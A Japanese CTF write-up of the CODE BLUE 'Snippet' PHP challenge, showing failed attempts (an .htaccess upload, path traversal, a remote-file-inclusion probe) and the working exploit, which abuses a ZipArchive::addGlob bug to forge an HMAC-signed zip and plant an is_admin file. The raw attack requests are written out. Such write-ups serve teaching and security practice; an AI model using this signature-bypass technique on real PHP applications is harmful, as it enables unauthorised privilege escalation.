Tags: php web
Rating:
# ▼▼▼CODE BLUE Snippet (Web:289pt、24/555team=4.3%)▼▼▼
**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
---
```
We developed the awesome snippet service. Have a try!
http://cbs.tasks.ctf.codeblue.jp
Source Code(Old): src.zip
Updated on 11/10 at 6:30(UTC+0900):
この問題はミスにより、非常に簡単になる非想定の解法がありました。
協議の結果、このミスを修正した上で、全チーム間で公平になるよう、元の問題のフラッグを公開します。
CBCTF{plz fix PHP Bug #72374} ( このフラグは現在有効ではありません )
Source Code (Updated): src-updated.zip
```
-----
## 【Goal】
【index.php】
```
if (file_exists($USER_DIR . '/is_admin')) {
exit($FLAG);
}
```
↓
ゴールは、is_adminをアップロードできればflagが得られる。
-----
【config.php】
```
open($tmpfile);
$zip->extractTo($USER_DIR);
$zip->close();
header('Location: /');
```
↓
アップロードするファイル名と、ファイルの中身と秘密鍵で計算された値が合致しないとアップロードできないことがわかる。
-----
## 【TRY1:任意コマンド実行を試みる】
phpファイルをアップロードしても実行されず。NG
↓
次に、.htaccessの設定ファイルのアップロードを試みる。
↓
ファイル名のドットが検知される。NG
-----
## 【TRY2:秘密鍵($MY_SECRET)を特定することを試みる】
【export.php】
```
open($tmpfile, ZipArchive::CREATE);
$options = array('remove_path' => $_GET['dir']);
$dir = trim($_GET['dir'], '/');
$zip->addGlob($dir . '/*', 0, $options);
$zip->close();
$hmac = hash_hmac('sha256', file_get_contents($tmpfile), $MY_SECRET);
header("Content-Disposition: attachment; filename='${hmac}.zip'");
readfile($tmpfile);
unlink($tmpfile);
```
↓
```
$hmac = hash_hmac('sha256', file_get_contents($tmpfile), $MY_SECRET);
header("Content-Disposition: attachment; filename='${hmac}.zip'");
```
↓
file_get_contents($tmpfile)が空、つまりフォルダに空の状態でエクスポートすると
↓
220d546185ad9fd41e4ab2ac6740eddd581e5e87dde387288ccfae729f53e4ae.zip
↓
値をGoogle検索してみたが見つからない。特定は難しい。NG
-----
## 【TRY3:dirパラメータで1つ上の階層のconfig.phpをexportすることを試みる】
↓
```
if (preg_match('/\.|\\\\|^\//', $_GET['dir']) === 1) {
die('hello hacker :(');
}
```
↓
`../`が通らないので無理そう。
-----
## 【TRY4:file_get_contents($tmpfile)からURLでRFIすることを試みる】
【import.php】
↓
```
$hmac = hash_hmac('sha256', file_get_contents($tmpfile), $MY_SECRET);
```
↓
```
POST /post.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: cbs.tasks.ctf.codeblue.jp
Cookie: PHPSESSID=b4e4a199b9f1f8d40a9235d50fd7cba1
filename="https://requestb.in/rq9prarq"
```
↓
リクエストが来ない
↓
設定でURLは無効にされていると思われる。NG。
-----
importでis_adminファイルをアップロードすればチェックされない!★
しかしファイル名を秘密鍵($MY_SECRET)で計算された値にする必要がある。
↓
is_adminが圧縮されたものをexportできれば値が合致する圧縮ファイルが得られる
↓
## 【TRY5:ZipArchive::addGlobのバグ(https://bugs.php.net/bug.php?id=72374)】
途中で問題がfixされ、前回のflagが全体に公開された`CBCTF{plz fix PHP Bug #72374}`からもこれで確定。
↓
圧縮時にフォルダ名の最後に/を付与するとファイル名が1文字削除されて圧縮されるようだ。
【解法】
よって、`is_admin`ファイルの先頭に任意の1文字を付与(例えば、`ais_admin`)してPOSTでファイルを書き込む
↓
```
POST /post.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: cbs.tasks.ctf.codeblue.jp
Cookie: PHPSESSID=b4e4a199b9f1f8d40a9235d50fd7cba1
filename=ais_admin&contents=
```
次に、ファイルエクスポートで、dirの最後に`/`を入れることで、ファイル名の先頭1文字が削除されてzipファイルに圧縮される。
↓
```
GET /export.php?dir=d6ac5615e8af00915a76b8c2770091e7/ HTTP/1.1
Host: cbs.tasks.ctf.codeblue.jp
```
↓
```
HTTP/1.1 200 OK
Date: Fri, 10 Nov 2017 06:02:43 GMT
Server: Apache/2.4.10 (Debian)
X-Powered-By: PHP/7.0.25
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Disposition: attachment; filename='e6cbcd0602de36546bcb36cea427817a933730b3bd64a65d9f2a65bd7dbea90d.zip'
Vary: Accept-Encoding
Content-Length: 394
Connection: close
Content-Type: text/html; charset=UTF-8
PK~(省略)~
```
↓
全てのファイルの先頭1文字目が削除されるので、`ais_admin`⇒`is_admin`となる。
↓
これでis_adminファイルを含む秘密鍵($MY_SECRET)で計算された値と合致する圧縮ファイルが得られた
```
e6cbcd0602de36546bcb36cea427817a933730b3bd64a65d9f2a65bd7dbea90d.zip
```
↓
これをインポートするとis_adminをアップロードできる
↓
`CBCTF{sorry-we-had-a-pitty-bug;;}`